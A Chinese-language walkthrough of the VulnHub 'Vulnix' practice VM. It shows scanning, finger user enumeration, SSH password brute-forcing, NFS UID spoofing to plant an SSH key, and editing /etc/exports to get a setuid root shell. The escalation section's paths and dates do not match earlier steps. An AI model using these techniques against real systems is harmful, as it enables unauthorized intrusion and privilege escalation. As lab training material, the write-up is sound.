HackLAB：vulnix
下载地址：https://download.vulnhub.com/hacklab/Vulnix.7z
实战操作
信息收集
┌──(root💀kali)-[~]
└─# fping -a -g 192.168.32.0/24 > /tmp/scan.log
┌──(root💀kali)-[~]
└─# cat /tmp/scan.log 1 ⨯
192.168.32.1
192.168.32.2
192.168.32.130
192.168.32.143找到靶机IP：192.168.32.143
对IP进行端口扫描
┌──(root💀kali)-[~]
└─# nmap -sT -sC -sV -A -O -p1-65535 192.168.32.143
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 21:58 EDT
Nmap scan report for 192.168.32.143
Host is up (0.00085s latency).
Not shown: 65518 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
| 2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_ 256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: 2022-05-30T01:58:33+00:00; +2s from scanner time.
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: SASL PIPELINING TOP RESP-CODES STLS UIDL CAPA
|_ssl-date: 2022-05-30T01:58:33+00:00; +2s from scanner time.
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 34690/tcp mountd
| 100005 1,2,3 40182/tcp6 mountd
| 100005 1,2,3 46697/udp mountd
| 100005 1,2,3 48580/udp6 mountd
| 100021 1,3,4 35088/tcp6 nlockmgr
| 100021 1,3,4 37627/tcp nlockmgr
| 100021 1,3,4 47312/udp nlockmgr
| 100021 1,3,4 56054/udp6 nlockmgr
| 100024 1 32992/udp status
| 100024 1 45632/tcp status
| 100024 1 55313/udp6 status
| 100024 1 59036/tcp6 status
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
143/tcp open imap Dovecot imapd
|_imap-capabilities: capabilities more IMAP4rev1 SASL-IR Pre-login STARTTLS LITERAL+ IDLE LOGIN-REFERRALS post-login listed ENABLE have LOGINDISABLEDA0001 OK ID
|_ssl-date: 2022-05-30T01:58:33+00:00; +2s from scanner time.
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
993/tcp open ssl/imaps?
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
|_ssl-date: 2022-05-30T01:58:33+00:00; +2s from scanner time.
995/tcp open ssl/pop3s?
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
|_ssl-date: 2022-05-30T01:58:33+00:00; +2s from scanner time.
2049/tcp open nfs_acl 2-3 (RPC #100227)
34690/tcp open mountd 1-3 (RPC #100005)
37627/tcp open nlockmgr 1-4 (RPC #100021)
45632/tcp open status 1 (RPC #100024)
55719/tcp open mountd 1-3 (RPC #100005)
60479/tcp open mountd 1-3 (RPC #100005)
MAC Address: 00:0C:29:78:E8:C4 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
TRACEROUTE
HOP RTT ADDRESS
1 0.85 ms 192.168.32.143
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.55 seconds
SSH服务
┌──(root💀kali)-[~]
└─# searchsploit openssh 5
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service | multiple/dos/1572.pl
FreeBSD OpenSSH 3.5p1 - Remote Command Execution | freebsd/remote/17462.txt
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read | linux/local/258.sh
Novell Netware 6.5 - OpenSSH Remote Stack Overflow | novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite | linux/remote/20253.sh
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py
OpenSSH 3.x - Challenge-Response Buffer Overflow (1) | unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2) | unix/remote/21579.txt
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | multiple/remote/39569.py
OpenSSH < 6.6 SFTP (x64) - Command Execution | linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution | linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
OpenSSH SCP Client - Write Arbitrary Files | multiple/remote/46516.py
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool | linux/remote/25.c
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No ResultsFinger服务
Finger 命令用于 Linux 和类 Unix 系统中，用于从终端检查任何当前登录用户的信息。它是一个命令行实用程序，可以为用户提供登录时间、tty（名称）、空闲时间、主目录、shell 名称等。
枚举系统用户
msf6 > use auxiliary/scanner/finger/finger_users
msf6 auxiliary(scanner/finger/finger_users) > show options
Module options (auxiliary/scanner/finger/finger_users):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 79 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
USERS_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt yes The file that contains a list of default UNIX accounts.
msf6 auxiliary(scanner/finger/finger_users) > set rhosts 192.168.32.143
rhosts => 192.168.32.143
msf6 auxiliary(scanner/finger/finger_users) > set threads 100
threads => 100
msf6 auxiliary(scanner/finger/finger_users) > run
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: backup
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: bin
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: daemon
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: games
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: gnats
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: irc
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: landscape
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: libuuid
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: list
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: lp
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: mail
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: dovecot
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: man
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: messagebus
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: news
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: nobody
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: postfix
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: proxy
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: root
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: sshd
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: sync
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: sys
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: syslog
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: user
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: dovenull
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: uucp
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: whoopsie
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: www-data
[+] 192.168.32.143:79 - 192.168.32.143:79 Users found: backup, bin, daemon, dovecot, dovenull, games, gnats, irc, landscape, libuuid, list, lp, mail, man, messagebus, news, nobody, postfix, proxy, root, sshd, sync, sys, syslog, user, uucp, whoopsie, www-data
[*] 192.168.32.143:79 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
NFS服务
可以发现有/home/vulnix挂载出来
┌──(root💀kali)-[~]
└─# showmount -e 192.168.32.143
Export list for 192.168.32.143:
/home/vulnix *本地挂载/home/vulnix文件夹
┌──(root💀kali)-[~]
└─# mount -t nfs 192.168.32.143:/home/vulnix /data/vulnix
┌──(root💀kali)-[~]
└─# ls -al /data/vulnix
ls: cannot open directory '/data/vulnix': Permission denied
┌──(root💀kali)-[~]
└─# ls -al /data/ 2 ⨯
total 48
drwxr-xr-x 3 root root 4096 May 29 22:16 .
drwxr-xr-x 20 root root 36864 May 29 22:16 ..
drwxr-x--- 2 nobody 4294967294 4096 Sep 2 2012 vulnix无法访问挂载的共享，可能是因为设置了 root_squash 标志。我们可以放心地假设，如果我们有一个名为 vulnix 且具有相同 UID 的用户，我们将能够访问它。但我们稍后再谈。
获取权限
SSH服务爆破
创建用户文件
user
vulnix
root然后使用字典列表rockyou.txt破解密码：
root@kali:~/vulnhub/vulnix# medusa -h 192.168.32.143 -U user.txt -P /usr/share/wordlists/rockyou.txt -e ns -f -M ssh -t 64终于破解了用户user的密码，即letmein。
┌──(root💀kali)-[/tmp]
└─# ssh user@192.168.32.143
The authenticity of host '192.168.32.143 (192.168.32.143)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.32.143' (ECDSA) to the list of known hosts.
user@192.168.32.143's password:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Mon May 30 04:28:36 BST 2022
System load: 0.0 Processes: 89
Usage of /: 90.3% of 773MB Users logged in: 0
Memory usage: 7% IP address for eth0: 192.168.32.143
Swap usage: 0%
=> / is using 90.3% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
user@vulnix:~$
检查受害服务器上的/etc/passwd文件，发现用户vulnix具有UID 2008，因此在本地计算机上创建了一个名为vulnix的用户，UID为2008，然后尝试再次访问该分区：
使用新创建的vulnix用户（具有UID 2008权限）成功进入已经挂载的/mnt/vulnix文件夹
┌──(root💀kali)-[~]
└─# useradd -u 2008 vulnix
┌──(root💀kali)-[~]
└─# su vulnix
$ cd /data/vulnix
$ ls -al
total 20
drwxr-x--- 2 vulnix vulnix 4096 Sep 2 2012 .
drwxr-xr-x 3 root root 4096 May 29 22:16 ..
-rw-r--r-- 1 vulnix vulnix 220 Apr 3 2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix 3486 Apr 3 2012 .bashrc
-rw-r--r-- 1 vulnix vulnix 675 Apr 3 2012 .profile生成一个SSH密钥，以vulnix用户身份登录而不需要密码：
┌──(root💀kali)-[~]
└─# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:N6J9EV4I5eAiJwrnp4HeSEXnh4jXL3ayejUzBPkdGgo root@kali
The key's randomart image is:
+---[RSA 3072]----+
| . .. o.. |
| oE=o.o = . |
|...+++*.= = . |
| =o. =o= o o |
|..+ .+.oS = |
|o o+. =B o o |
| o.. .o = . |
| .. . |
| .. |
+----[SHA256]-----+
┌──(root💀kali)-[~]
└─# cp /root/.ssh/id_rsa.pub /tmp/authorized_keys
┌──(root💀kali)-[~]
└─# chmod 777 /tmp/authorized_keys NFS股灾文件夹放入公钥
$ mkdir .ssh
$ cd .ssh
$ cp /tmp/authorized_keys .
$ ls
authorized_keys使用公钥进行登录
┌──(root💀kali)-[~]
└─# ssh vulnix@192.168.32.143 -i id_rsa
Warning: Identity file id_rsa not accessible: No such file or directory.
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Mon May 30 05:49:42 BST 2022
System load: 0.0 Processes: 92
Usage of /: 90.3% of 773MB Users logged in: 1
Memory usage: 9% IP address for eth0: 192.168.32.143
Swap usage: 0%
=> / is using 90.3% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
vulnix@vulnix:~$
提权
vulnix@vulnix:~$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User vulnix may run the following commands on this host:
(root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
可以运行命令来打开/etc/exports，不用输入密码。这是发现的：
用no_root_squash替换了root_squash flag。需要作弊，因为没有vulnix的密码，而且没有sudo用户执行命令/usr/sbin/exportfs -a或计算机重新引导，就无法再次导出NFS分区，所以手动重新引导
root_squash： 客户端的root用户映射到任何人：客户端无法使用setuid位将恶意软件留给他人执行。
no_root_squash：通过此选项，停用了此安全功能，从而允许客户端的root权限操作最终以root身份出现在导出的文件系统中（因此，在其余客户端中）。
在受害者的机器上，如"vulnix"：
vulnix@vulnix:~$ cp /bin/bash local_shell
vulnix@vulnix:~$ ls
local_shell在本地计算机上，以root身份：
root@kali:/mnt/vulnix# cat local_shell > spawn_root_shell
root@kali:/mnt/vulnix# ls
local_shell spawn_root_shell
root@kali:/mnt/vulnix# chmod 4777 *
root@kali:/mnt/vulnix# ls -la
总用量 1828
drwxr-x--- 4 vulnix vulnix 4096 4月 16 02:33 .
drwxr-xr-x 3 root root 4096 4月 15 23:00 ..
-rw------- 1 vulnix vulnix 0 4月 16 02:27 .bash_history
-rw-r--r-- 1 vulnix vulnix 220 4月 3 2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix 3486 4月 3 2012 .bashrc
drwx------ 2 vulnix vulnix 4096 4月 15 23:23 .cache
-rwsrwxrwx 1 vulnix vulnix 920788 4月 16 02:24 local_shell
-rw-r--r-- 1 vulnix vulnix 675 4月 3 2012 .profile
-rwsrwxrwx 1 root root 920788 4月 16 02:33 spawn_root_shell
drwxr-xr-x 2 vulnix vulnix 4096 4月 15 23:21 .ssh然后在受害人的机器上执行shell，并保留带有flag -p的原始文件的权限：
vulnix@vulnix:~$ ls -la
total 1828
drwxr-x--- 4 vulnix vulnix 4096 Apr 16 07:33 .
drwxr-xr-x 4 root root 4096 Sep 2 2012 ..
-rw------- 1 vulnix vulnix 0 Apr 16 07:27 .bash_history
-rw-r--r-- 1 vulnix vulnix 220 Apr 3 2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix 3486 Apr 3 2012 .bashrc
drwx------ 2 vulnix vulnix 4096 Apr 16 04:23 .cache
-rwsrwxrwx 1 vulnix vulnix 920788 Apr 16 07:24 local_shell
-rw-r--r-- 1 vulnix vulnix 675 Apr 3 2012 .profile
-rwsrwxrwx 1 root root 920788 Apr 16 07:33 spawn_root_shell
drwxr-xr-x 2 vulnix vulnix 4096 Apr 16 04:21 .ssh
vulnix@vulnix:~$ ./spawn_root_shell -p
spawn_root_shell-4.2# id
uid=2008(vulnix) gid=2008(vulnix) euid=0(root) groups=0(root),2008(vulnix)
spawn_root_shell-4.2# whoami
root
spawn_root_shell-4.2# cd /root
spawn_root_shell-4.2# ls
trophy.txt
spawn_root_shell-4.2# cat trophy.txt
cc614640424f5bd60ce5d5264899c3be最后更新于